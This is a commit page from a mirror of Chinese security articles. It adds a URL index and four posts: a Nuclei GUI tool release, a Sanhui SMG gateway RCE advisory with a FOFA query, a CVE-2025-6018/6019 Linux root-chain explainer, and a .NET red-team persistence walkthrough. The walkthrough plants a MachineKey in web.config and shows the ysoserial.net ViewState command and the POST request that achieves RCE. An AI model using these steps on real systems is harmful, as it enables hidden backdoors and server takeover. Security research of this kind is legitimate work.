mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
攻防下帮助学员快速审计NET前台rce漏洞、.NET 基于 MachineKey 一键维持权限，反序列化工具实现RCE、双漏洞链一击拿下 Root：CVE-2025-6018∕CVE-2025-6019 横扫主流 Linux、Nuclei POC 漏洞验证可视化工具 | 更新V3.0.0、三汇 SMG网关管理软件 9-2radius.php 命令执行漏洞、美国CISA将苹果与TP-Link产品高危漏洞列入已知利用清单、当漏洞成为“数字战争”的弹药，谁能改写攻防规则？、
This commit is contained in:
test committed
1 parent
da1c5248ac
commit
e902929ce7
8 files changed
+604
-59
No files matched your search
@@ -15365,5 +15365,12 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546563&idx=2&sn=e3b299fc15a136e45ca0efdd0cbaf3b9": "Windows SMB客户端提权漏洞（CVE-2025-33073）及其在未启用SMB签名环境中的攻击原理",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493446&idx=1&sn=bb7af1bdae0d924f2df258a74cea48e5": "漏洞预警 | Apache Tomcat安全约束绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247494051&idx=1&sn=824b2b262ccd14013ff47b1150ee5f2e": "Veeam修复了Backup & Replication产品中的一个新关键漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247494051&idx=3&sn=020fd34cd86d6d9c3aca858459a45f32": "医疗保健服务公司Episource数据泄露事件影响540万人"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247494051&idx=3&sn=020fd34cd86d6d9c3aca858459a45f32": "医疗保健服务公司Episource数据泄露事件影响540万人",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247492350&idx=1&sn=5586252e5859dfb692618f047c00faa2": "攻防下帮助学员快速审计NET前台rce漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499911&idx=3&sn=f75d5f4ae14d450acb3ecd640947682c": ".NET 基于 MachineKey 一键维持权限，反序列化工具实现RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247499903&idx=1&sn=bd4cd23c26aac01c8dcc6ce1bab5ba63": "双漏洞链一击拿下 Root：CVE-2025-6018∕CVE-2025-6019 横扫主流 Linux",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494556&idx=1&sn=c79aa1a66057f879b6885cd60d3cbd62": "Nuclei POC 漏洞验证可视化工具 | 更新V3.0.0",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491859&idx=1&sn=8d77eaf8aac84238abc49fe49e499497": "三汇 SMG网关管理软件 9-2radius.php 命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0MjE2Mjk3Ng==&mid=2247489255&idx=1&sn=6aeab11cfe4dc3b1215c81d03177d2af": "美国CISA将苹果与TP-Link产品高危漏洞列入已知利用清单",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyMjU2Nzc1Mg==&mid=2247484633&idx=1&sn=991d4d622e93851617f7e085b3c8e2b8": "当漏洞成为“数字战争”的弹药，谁能改写攻防规则？"
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
# .NET 基于 MachineKey 一键维持权限，反序列化工具实现RCE
|
||||
原创 专攻.NET安全的 dotNet安全矩阵 2025-06-19 01:03
|
||||
|
||||
|
||||
|
||||
在红队渗透测试中，获取初始访问权限仅仅是开始，如何长期、隐蔽地维持权限才是真正的挑战。面对采用**.NET技术栈**
|
||||
的Web系统，传统的WebShell容易被安全设备检测，而基于**ViewState反序列化**
|
||||
的隐蔽后门技术，则成为红队维持权限的优选方案。
|
||||
|
||||
**Sharp4ViewStateShell3**
|
||||
是 Sharp4ViewStateShell 系列工具的最新增强版，通过**自动化修改MachineKey**
|
||||
、**动态释放辅助脚本**
|
||||
，并结合**ViewState反序列化漏洞**
|
||||
，实现无文件隐蔽的远程命令执行。相较于前代版本，支持**自定义站点路径**
|
||||
，使其在渗透中更具适应性和稳定性。
|
||||
|
||||
**01. 工具基本介绍**
|
||||
|
||||
|
||||
|
||||
相较于旧版工具，Sharp4ViewStateShell3 主要优化了以下功能，支持指定站点根目录
|
||||
，精准定位web.config
|
||||
，避免误操作。
|
||||
|
||||
自动在同级目录释放**GenerateViewState.aspx**
|
||||
，确保请求路径可控。适配虚拟目录结构
|
||||
，使请求更符合正常业务流量，规避WAF检测。
|
||||
|
||||
|
||||
|
||||
**02. 工具实战用法**
|
||||
|
||||
|
||||
|
||||
.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题，保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true"
|
||||
并使用弱或可控的 MachineKey，攻击者就可以伪造 ViewState，借助 ysoserial.net 工具构造反序列化链，从而实现命令执行RCE。
|
||||
本文内容和涉及的工具仅限安全研究目的，严禁用于非法渗透测试。使用者需遵守当地法律法规，未经授权测试造成的法律后果自行承担。
|
||||
## 2.1 一键修改配置文件
|
||||
|
||||
修改目标
|
||||
假设目标站点的物理路径为：C:\
|
||||
inetpub\wwwroot\，
|
||||
在具有写入权限的目录，Upload
|
||||
下执行如下命令：
|
||||
|
||||
```
|
||||
C:\inetpub\wwwroot\Upload> Sharp4ViewStateShell3.exe "C:\inetpub\wwwroot"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
该命令会完成以下操作：修改**web.config**
|
||||
，插入预设的MachineKey：
|
||||
|
||||
```
|
||||
<machineKey validationKey="B8D7C72D38E8972EA6B955F2D4C8D5B0A2E3F4C6A9B1D3E5F7A9C8B6D4E2F1" decryptionKey="E4D5C6B3A8F9E7D6C5B4A3F2E1D0C9B8A7" validation="SHA1" decryption="AES"/>
|
||||
```
|
||||
|
||||
|
||||
**在Upload目录下生成GenerateViewState.aspx**
|
||||
，用于获取__VIEWSTATEGENERATOR
|
||||
值。
|
||||
## 2.2 获取关键参数
|
||||
|
||||
访问生成的页面，获取__VIEWSTATEGENERATOR
|
||||
：
|
||||
|
||||
```
|
||||
GET /Upload/GenerateViewState.aspx HTTP/1.1Host: target.com
|
||||
```
|
||||
|
||||
|
||||
打开浏览器开发者工具，或使用 Burp 抓包查看响应内容，通常可获取：
|
||||
|
||||
```
|
||||
<input type="hidden" name="__VIEWSTATEGENERATOR"value="CA0B0334"/>
|
||||
```
|
||||
|
||||
## 2.3 生成恶意的ViewState
|
||||
|
||||
使用 ysoserial.net 构造反序列化命令，生成后会输出一串 Base64 编码字符串，对应 ViewState 值。具体用法如下所示。
|
||||
|
||||
```
|
||||
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \--validationalg="SHA1" \--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \--decryptionalg="AES" \--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \--generator="DBC4925F"
|
||||
```
|
||||
|
||||
|
||||
该命令会输出Base64编码的__VIEWSTATE
|
||||
值，用于后续攻击
|
||||
## 2.4 发送恶意请求
|
||||
|
||||
构造POST请求，将生成的ViewState数据发送至目标：
|
||||
|
||||
```
|
||||
POST /Upload/GenerateViewState.aspx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedContent-Length:8921__VIEWSTATE=[恶意Payload]&__EVENTTARGET=&__EVENTARGUMENT=
|
||||
```
|
||||
|
||||
|
||||
如一切配置正确，将在页面响应中看到命令结果，比如 tasklist
|
||||
。
|
||||
|
||||
|
||||
|
||||
综上，
|
||||
Sharp4ViewStateShellPlus.exe
|
||||
释放了一个GenerateViewState脚本，更加容易获取__VIEWSTATEGENERATOR 参数值，再加上
|
||||
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey，实现持久化远程命令执行，非常适合在红队渗透中用于权限维持。
|
||||
文章涉及的工
|
||||
具已
|
||||
打包在星球，感兴趣的朋友可以加入自取。
|
||||
|
||||
**03.NET安全扩展学习**
|
||||
|
||||
|
||||
|
||||
以上相关的知识点已收录于
|
||||
新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。
|
||||
|
||||
|
||||
**上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。**
|
||||
|
||||
|
||||
**04. 技术精华内容**
|
||||
|
||||
|
||||
|
||||
从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499267&idx=2&sn=1462cf23c9a8568cc80705d2d3a1a69e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499837&idx=2&sn=a8a2483424b1932e7ec931be792744ba&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247493952&idx=4&sn=db68011fb075c1d02268811163646b53&chksm=fa5947adcd2ecebbb1ca6659f289a5e344e37d1136fe0bd9272b5578e4c71bb19bb250e934d3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247495167&idx=1&sn=9280c55fdc7c9146e549be470cf9f120&chksm=fa594312cd2eca04bfe8fd1fd3890b389d9c700b9b69d897f919addac399bab4f4d2e55f6b4f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490722&idx=2&sn=c9807daa5548e139a0c67303cb26882a&chksm=fa5ab24fcd2d3b59a85be03e69c655ffd644e8458bc2ec3f572da4b40b43e5003fda756f35b4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490703&idx=2&sn=e7db1ff662e5b41d9a1806fbdf33e204&chksm=fa5ab262cd2d3b7470f029b9a07d1dd3611e63be910b01a601144efe7d84b5f016f488a354cf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247490700&idx=2&sn=e8a865ada7c743e77fb9e953c5da74b1&chksm=fa5ab261cd2d3b7736387eddfc8524a378a1604552d0c9b55476646f9e8275f48818aab8acad&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247488736&idx=2&sn=d24aaa297c51eb620ccdf67af513086d&chksm=fa5aba0dcd2d331bbb22f3f5657199d718c90efed42fcb9cb67ec23d342f887c117e4858f1cb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**05. 加入安全社区**
|
||||
|
||||
|
||||
|
||||
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最专业的技术知识库之一，超 **1200+**
|
||||
成员一起互动学习。星球主题数量近 **600+**
|
||||
，精华主题
|
||||
230+
|
||||
，PDF文档和压缩包
|
||||
300+
|
||||
。从Web应用到PC端软件应用，无论您是初学者还是经验丰富的开发人员，都能在这里找到对应的实战指南和最佳实践。
|
||||
|
||||
|
||||
|
||||
## 20+专栏文章
|
||||
|
||||
星球文化始终认为授人以鱼不如授人以渔！星球整理出**20+**
|
||||
个专题栏目涵盖 **.NET安全 点、线、面、体等知识范围**
|
||||
，助力师傅们实战攻防！其中主题包括.NET 内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。
|
||||
|
||||
|
||||
|
||||
## 海量资源和工具
|
||||
|
||||
截至当前，dot.Net安全矩阵星球社区汇聚了
|
||||
**600+**
|
||||
个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面，在实战中能够发挥显著作用，为对抗突破提供强有力的支持。
|
||||
|
||||
|
||||
|
||||
|
||||
## 专属成员交流群
|
||||
|
||||
我们还有多个成员专属的
|
||||
**内部星球陪伴群**
|
||||
，加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问，以获取帮助迅速解决问题。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 已入驻的大咖们
|
||||
|
||||
星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多
|
||||
**高质量的.NET安全资源**
|
||||
，可以说市面上很少见，都是干货。
|
||||
|
||||
|
||||
## 欢迎加入我们
|
||||
|
||||
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。
|
||||
**星球门票后期价格随着内容和质量的不断沉淀会适当提高，因此越早加入越好！**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# Nuclei POC 漏洞验证可视化工具 | 更新V3.0.0
|
||||
perlh 夜组安全 2025-06-19 00:01
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
**所有工具安全性自测！！！VX：**
|
||||
**baobeiaini_ya**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦！
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具介绍
|
||||
|
||||
Wavely - 轻量便捷的 Nuclei POC 漏洞验证可视化工具
|
||||
|
||||
|
||||
|
||||
### 更新v3.0.0
|
||||
|
||||
【新增】Wavely也拥有属于自己的App专属图标了！
|
||||
|
||||
【新增】支持导出扫描结果为Excel文件。
|
||||
|
||||
【调整】App的UI，采用扁平化风格，同时优化了操作逻辑。
|
||||
|
||||
【修复】Windows下POC导入闪退的问题。
|
||||
## 功能一览
|
||||
- [x] **POC 模板管理**
|
||||
：支持对 nuclei POC 模板的增删查改操作
|
||||
|
||||
- [x] **跨平台兼容**
|
||||
：已支持 MacOS 和 Windows 系统，Linux 版本测试中
|
||||
|
||||
- [x] **多任务扫描**
|
||||
：支持多 POC、多目标批量扫描
|
||||
|
||||
- [x] **高级配置**
|
||||
：支持自定义 DNSLOG 服务器、扫描速率控制及多协议网络代理（http/https/socks5）
|
||||
|
||||
- [x] **请求分析**
|
||||
：支持查看 POC 匹配时的完整请求/响应数据包
|
||||
|
||||
- [x] **编辑器优化**
|
||||
：POC 编辑器支持主题切换和字体大小调整
|
||||
|
||||
- [x] **模板导入**
|
||||
：支持一键导入 nuclei 模板，基于 template id 自动去重
|
||||
|
||||
- [x] **任务控制**
|
||||
：支持手动停止扫描任务，灵活掌控测试流程
|
||||
|
||||
- [x] **配置持久化**
|
||||
：自动保存用户配置，下次启动无需重复设置参数
|
||||
|
||||
- [x] **API 测试**
|
||||
：支持对 API 接口及带目录路径的目标进行扫描
|
||||
|
||||
- [x] **POC 生成**
|
||||
：提供图形化界面辅助生成简单 POC
|
||||
|
||||
- [x] **扫描进度实时显示**
|
||||
：提供可视化进度条展示当前扫描状态
|
||||
|
||||
- [x] **扫描结果导出**
|
||||
：支持将扫描结果导出为Excel格式文件
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具获取
|
||||
|
||||
|
||||
|
||||
点击关注下方名片
|
||||
进入公众号
|
||||
|
||||
回复关键字【
|
||||
250619
|
||||
】获取
|
||||
下载链接
|
||||
|
||||
|
||||
## 往期精彩
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
[Android 远控工具-安卓C2](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494549&idx=1&sn=a72e5f2f2587c1bf7dd6a93b3b907c34&chksm=c36baf6df41c267b50d468872ba1567a3d3f8a9ed9cb803aa83ee05b9646968de8d6681deac2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[水滴工具箱 V9！ 集成了抓包、扫描器、漏扫工具、OA利用、框架利用、各类组件、jndi注入、内存马、内网渗透等](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494548&idx=1&sn=1340692662c89a6390e592f61b853bbe&chksm=c36baf6cf41c267a059368fed99ad6d2fec61054453b423a26262816532dc6f1ad7f414a8507&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Linux应急响应工具集【Html可视化报告】](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494509&idx=1&sn=293e3a3c33e5e60ffa91906214d04bb5&chksm=c36baf95f41c268376fb7c5e92f73bb8f9339461e8b791cde2ed013cb8520f14dde0758374b6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[DNSLog 平台克隆版（自定义域名支持）便于内网渗透测试与痕迹收集，同时绕过部分安全设备对 dnslog.cn 的拦截。](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494508&idx=1&sn=6a4f330108bb15eb8f7902427b22ad03&chksm=c36baf94f41c26828c153652e1c02234c53233c697a0b6b5b73dba6fc76474a152ffc73c027d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[社会工程学密码生成器APP，利用个人信息生成密码的工具](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247494507&idx=1&sn=d31a49fbc2febe095fb78304a35dbc6d&chksm=c36baf93f41c2685aafd12b6b2ff239b1b8ba5b43b8af5e98a3e2bd7280d7edc825c59d68203&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# 三汇 SMG网关管理软件 9-2radius.php 命令执行漏洞
|
||||
Superhero Nday Poc 2025-06-19 02:14
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
三汇 SMG网关管理软件 9-2radius.php 接口存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。
|
||||
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
xray
|
||||
|
||||
|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC（来源公开平台）
|
||||
|
||||
▫️ 所有脚本经过基础测试，降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明：仅限合法授权测试，严禁违规使用！
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
# 双漏洞链一击拿下 Root：CVE-2025-6018/CVE-2025-6019 横扫主流 Linux
|
||||
原创 mayfly 独眼情报 2025-06-19 03:55
|
||||
|
||||
|
||||
## 1. 漏洞概览
|
||||
|
||||
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">组件/位置</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">受影响发行版</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">权限起点 → 终点</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">CVE-2025-6018</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">PAM 配置 (</span><code><span leaf="">/etc/pam.d/login</span></code><span leaf=""> 等)</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">openSUSE Leap 15 / SLES 15</span></section></td><td Line truncated
|
||||
|
||||
把两者连在一起，就形成了“普通本地用户 ➜ root”的完整跳板链。Qualys 用不到十行命令就演示成功，Ubuntu / Debian / Fedora 默认装的服务器版同样沦陷。
|
||||
## 2. 漏洞一（CVE-2025-6018）：PAM 误把远程登录当“本地控制台”
|
||||
- **问题根源**
|
||||
openSUSE Leap 15 / SLES 15 的 PAM 规则把 XDG_SEAT
|
||||
/ XDG_SESSION_CLASS
|
||||
等检查写错，导致 任何
|
||||
SSH/TTY 会话都会被标记成 **active seat**
|
||||
。
|
||||
|
||||
- **后果**
|
||||
polkit 看到 “allow_active=yes” 就默许一些只允许“人在键盘前”执行的管理动作，例如挂载设备、修改网络。于是攻击者获得一个“带轮子的小管家”权限层。
|
||||
|
||||
## 3. 漏洞二（CVE-2025-6019）：udisks2 + libblockdev 本地提权
|
||||
1. **入口**
|
||||
：polkit 动作 org.freedesktop.udisks2.modify-device
|
||||
默认策略是 allow_active=yes
|
||||
。
|
||||
|
||||
1. **触发**
|
||||
：拿到 **allow_active**
|
||||
的人可以让 udisksd
|
||||
去 loop-mount 自己可控的镜像。
|
||||
|
||||
1. **漏洞点**
|
||||
：libblockdev
|
||||
处理恶意 superblock/header 时少了边界检查，最终写任意文件 + 提权到 **root**
|
||||
。
|
||||
|
||||
## 4. 完整攻击链（实战视角）
|
||||
```
|
||||
# 假设攻击者已获得普通 shell（本地或 SSH）
|
||||
1. 利用 CVE-2025-6018 → 会话被 PAM 标记成 allow_active
|
||||
2. 调用 dbus-send 触发 udisks loop-mount → polkit 直接放行
|
||||
3. 恶意镜像击穿 libblockdev 边界检查 → setuid-root shell 落地
|
||||
4. root 到手，开始关闭 EDR / 植入后门 / 横向...
|
||||
|
||||
```
|
||||
|
||||
Qualys 公开的 PoC 在https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
|
||||
可自行参考。
|
||||
## 5. 影响范围 & 风险评估
|
||||
- **“双杀”发行版**
|
||||
：openSUSE Leap 15 / SLES 15（同时含两洞）
|
||||
|
||||
- **单独 6019**
|
||||
：只要装了 udisks2
|
||||
（服务器默认也会装）就中招，Qualys 已在 Ubuntu 22.04、Debian 12、Fedora 40 复现。
|
||||
|
||||
- **利用门槛**
|
||||
：本地低权账号即可，无需物理接触、无需内核漏洞。
|
||||
|
||||
- **攻击面**
|
||||
：开发机、CI runner、桌面、无虚拟化服务器统统符合条件。
|
||||
|
||||
## 6. 修补 & 临时缓解
|
||||
|
||||
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">动作</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 